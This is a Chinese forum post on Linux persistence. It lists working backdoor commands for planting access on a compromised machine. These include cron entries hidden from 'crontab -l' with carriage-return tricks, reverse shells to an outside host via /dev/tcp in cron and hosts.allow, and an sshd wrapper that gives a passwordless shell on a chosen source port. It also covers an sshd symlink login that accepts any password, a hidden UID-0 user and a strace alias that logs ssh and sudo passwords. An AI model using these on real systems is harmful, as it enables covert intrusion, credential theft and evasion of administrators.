90_ 发表于 2022-10-26 15:59:00

Linux权限维持

0x00 cron后门

在Linux系统中,计划任务一般是由cron承担,我们可以把cron设置为开机时自动启动。cron启动后,它会读取它的所有配置文件(全局性配置文件/etc/crontab,以及每个用户的计划任务配置文件),然后cron会根据命令和执行时间来按时来调用工作任务

常规使用

(crontab -l;echo '*/1 * * * * /bin/bash /tmp/1.elf;/bin/bash --noprofile -i')|crontab -



通过这样执行后,该用户可以通过命令来查看见添加的计划任务,不够隐蔽

(crontab -l;printf "*/1 * * * * /bin/bash /tmp/1.elf;/bin/bash --noprofile -i;\rno crontab for `whoami`%100c\n")|crontab -

(crontab -l;printf "*/1 * * * * /bin/bash /tmp/1.elf;/bin/bash --noprofile -i;\r %100c\n")|crontab -

# 反弹shell
(crontab -l;printf "* * * * * bash -c 'sh -i >& /dev/tcp/10.211.55.2/12345 0>&1'\n")|crontab -



这样执行后,就无法通过crontab -l来直接查看了

这样也有一个问题,当原本就有计划任务的时候,它最后也会输出一个no crontab for xxx,所以要先看是否有计划任务,有就将该输出内容修改掉

原理:实际上是他将cron文件写到文件中。/var/spool/cron/crontabs/root 。而crontab -l就是列出了该文件的内容。 cat其实默认使用是支持一些比如\r回车符 \n换行符 \f换页符、也就是这些符号导致的能够隐藏命令 可以利用cat这一缺陷,在一些正常脚本文件中插入恶意代码

0x01 ssh wrapper

在目标机上执行以下命令

cd /usr/sbin/
mv sshd ../bin

# \x00\x004A是13377的大端形式
# echo '#!/usr/bin/perl' >sshd
# echo 'exec "/bin/sh" if (getpeername(STDIN) =~ /^..4A/);' >>sshd
# echo 'exec {"/usr/bin/sshd"} "/usr/sbin/sshd",@ARGV,' >>sshd

chmod u+x sshd
service sshd restart

在攻击机上执行以下命令连接

socat STDIO TCP4:10.211.55.6:22,sourceport=13377



优点:

1.连接后的命令不会被记录,last查不到登陆记录

2.不影响正常ssh的使用

3.随时可连,无需密码

0x02 ssh软连接

ln -sf /usr/sbin/sshd /tmp/su

/tmp/su -oPort=888

这里的su 可以为/etc/pam.d/下的任意一个文件名



在连接时输入任意密码即可登陆

缺点:

1.会在本地开一个端口进行监听,容易暴露(进程、端口)

2.当该用户被禁止登陆时无法使用此方法登陆,需要一个可以登陆的用户

3.需要ssh开启PAM认证,否则会失败

4.ssh登陆日志中会有记录,命令会被记录

0x03 TCP wrapper

echo 'ALL: ALL: spawn (bash -c "/bin/bash -i >& /dev/tcp/10.211.55.2/37789 0>&1") & :allow' > /etc/hosts.allow

在有ssh连接时触发后门回连



缺点:

1.命令会记录在.bash_history中

2.充满不确定性,不确定管理员何时登陆,只能被动等待

0x04 添加用户

# 创建一个用户名guest,密码123456的普通用户
useradd -p `openssl passwd -1 -salt 'salt' 123456` guest

# useradd -p 方法 ` ` 是用来存放可执行的系统命令,"$()"也可以存放命令执行语句
useradd -p "$(openssl passwd -1 123456)" guest

# chpasswd方法
useradd guest;echo 'guest:123456'|chpasswd

# echo -e方法
useradd test;echo -e "123456\n123456\n" |passwd test

# 一句话添加
useradd -p `openssl passwd -1 -salt 'salt' 123456` guest -o -u 0 -g root -G root -s /bin/bash

缺点:

1.在/etc/passwd和/etc/shadow中有痕迹,及容易被排查

0x05 ssh 公私钥登陆

在客户端上生成一对公私钥,然后把公钥放到服务器上(~/.ssh/authorized_keys),保留私钥。当ssh登录时,ssh程序会发送私钥去和服务器上的公钥做匹配。如果匹配成功就可以登录了。

ssh-keygen -t rsa

将公钥(id_rsa.pub)放入目标机器的.ssh/authorized_keys文件中,使用私钥进行连接即可



0x06 strace后门键盘记录

通过命令替换动态跟踪系统调用和数据,可以用来记录用户ssh、su、sudo的操作。

#vim ./bashrc
alias ssh='strace -o /tmp/.ssh.log -e read,write,connect -s 2048 ssh'

# 监听ssh流量,需要一个ssh进程id
ps -ef | grep sshd
alias ssh='strace -f -p 4241 -o /tmp/.ssh.log -e trace=read,write,connect -s 2048'

# source /root/.bashrc



注:本地kali测试时,是修改的.zshrc,bashrc无法source;只能记录本地ssh向外连接的命令和密码

0x0 参考链接https://blog.m7.org/%E4%B8%AA%E4 ... BB%B4%E6%8C%81.html

https://blackwolfsec.cc/2017/03/24/Linux_ssh_backdoor/


页: [1]
查看完整版本: Linux权限维持